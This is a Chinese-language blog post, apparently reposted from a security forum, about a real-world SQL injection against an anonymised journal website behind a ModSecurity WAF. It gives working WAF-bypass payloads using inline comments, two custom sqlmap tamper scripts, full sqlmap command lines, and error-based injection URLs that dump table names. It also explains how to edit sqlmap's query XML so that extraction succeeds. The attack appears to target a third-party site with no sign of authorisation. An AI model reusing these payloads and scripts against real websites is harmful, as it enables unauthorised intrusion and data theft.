一次注入实战引发的SQLMAP修改之路
2019-12-03 10:40:00 Author: xz.aliyun.com(查看原文) 阅读量:596 收藏

SQLmap的payload修改一般有两种方式:
1、编写tamper
2、修改/添加sqlmap的xml文件语句自定义payload

选中目标网站:http://www.xxxx.com/journals_desc.php?id=40
单引号报错,对单引号进行转义,id=0=0测试回显正常,int型注入

Order by 猜字段值为7
Waf为Modsec,直接使用union select被拦截:

Fuzz:
       单个union    #不拦截
       单个select    #不拦截
Union select  #拦截
union /**/ select #拦截
/*!00000union*/ select #内联注释,不拦截
/*!50000union*/ select 1,2,3,4,5,6,7

此处应该是涉及到强弱类型转换的问题,int为强类型,猜测对应的字段为弱类型
解决方法:
[1]使用string方法、但单引号’ 被被转义了,所以该方法行不通
[2]采用报错注入

(使用自带的modsecurityzeroversioned.py不能绕过)
报错注入过程中,发现主要过滤关键词from和函数concat()
1、concat()被过滤:concat()-->concat/**/()
对应tamper脚本concat2concatcomment.py如下:

#!/usr/bin/env python2
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
    pass
def tamper(payload, **kwargs):
    return payload.replace("CONCAT","CONCAT/**/")

2、from被过滤,from-->/*!44144from*/
对应tamper脚本from.py如下:

#!/usr/bin/env python2
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
    pass
def tamper(payload, **kwargs):
    return payload.replace("FROM","/*!44144FROM*/")

python sqlmap.py -u "https://www.xxxx.com/journals_desc.php?id=66" --level 3 --risk 3 -v 3 --tamper="from,concat2concatcomment" --force-ssl --technique=E

--dbs读取(可以比对一下使用tamper脚本和使用tamper脚本后语句)
payload in sqlmap:

AND (SELECT 8403 /*!44144FROM*/(SELECT COUNT(*),CONCAT/**/(0x716b707071,(SELECT REPEAT(0x34,1024)),0x71627a7a71,FLOOR(RAND(0)*2))x /*!44144FROM*/ INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

--tables读取,很遗憾,读取失败

再次把它的payload拿到本地测试,也是行不通的。语句很长,需要慢慢fuzz究竟是哪里被拦截、组合、函数、关键字?
但是,,,,坑的是竟然不是因为过滤引起的????

实在不行了,去用手工注了出来,但是用SQLmap就是跑不出来???
再去看一下SQLmap的payload是不是有问题,咋一看没什么大问题,所以我一开始也忽略了,卡了好久。也就是这里涉及到了直接修改SQLmap自带的语句。
大家自行比较一下下面这两条语句看看能不能看出问题~
1、

https://www.xxxx.com/journals_desc.php?id=40%20and%20updatexml/**/(1,concat/**//**/(0x7e,(select%20DISTINCT%20GROUP_CONCAT(table_name)/*!44144from*/%20%20%20information_schema.TABLES%20where%20table_schema=database())%20),1)

2、

https://www.xxxx.com/journals_desc.php?id=40%20and%20updatexml/**/(1,concat/**//**/(0x7e,(select%20DISTINCT%20GROUP_CONCAT(table_name)/*!44144from*/%20%20%20information_schema.`TABLES`%20where%20table_schema=database())%20),1)

下面讲几个概念
[1]table和colums在mysql中是特殊字符
[2]反引号是sql语言的转义字符
[3]在mysql中的sql语句为了避免与系统冲突给表名加上反引号 ,(但在指定其他数据库时不能加,否则会被认作是表)

我们可以看到这里sqlmap的payload,对于information_schema.tables中的tables并没有加反引号,指引到/xml/queries.xml

information_schema.tables --> information_schema.`tables`

当然,columns也需要修改

information_schema.columns --> information_schema.`columns`

修改之后跑表:

python sqlmap.py -u "https://www.xxxx.com/journals_desc.php?id=66" --level 3 --risk 3 -v 3 --tamper="from,concat2concatcomment"   --technique=E   -D mililink_main --tables
payload in sqlamp(比对一下payload,看看效果):
66 AND (SELECT 9571 /*!44144FROM*/(SELECT COUNT(*),CONCAT/**/(0x716b7a6b71,(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) /*!44144FROM*/ INFORMATION_SCHEMA.`TABLES` WHERE table_schema IN (0x6d696c696c696e6b5f6d61696e) LIMIT 15,1),0x7171767071,FLOOR(RAND(0)*2))x /*!44144FROM*/ INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

跑列值也是一样的,就不多说了,直接上图

五、 关于SQLmap自定义payload的一些思考
SQLmap的payload修改,其实并不复杂。

tamper脚本的编写,可以参考上边的from.py和concat2concatcomment.py,它其实是有固定格式的。简单的自定义paylaod只需要在def tamper(payload, **kwargs)函数中写入替换语句即可。可参考https://payloads.online/archivers/2017-06-08/1

修改/添加sqlmap的xml文件语句来自定义payload。需要找到对应的xml文件,然后修改xml文件中的语句。
查询语句在\sqlmap\data\xml\ queries.xml定义,若想自定义查询语句则只需要修改/添加想要执行的查询语句即可,如上边对INFORMATION_SCHEMA.TABLES的修改
不同的注入方式使用的语句则需要在对应的注入方式中的xml语句进行修改,在\sqlmap\data\xml\payloads\文件下

假若我们需要修改error-base注入方式的payload,则需要在/xml/payload/error_based.xml中修改


文章来源: http://xz.aliyun.com/t/6864
如有侵权请联系:admin#unsafe.sh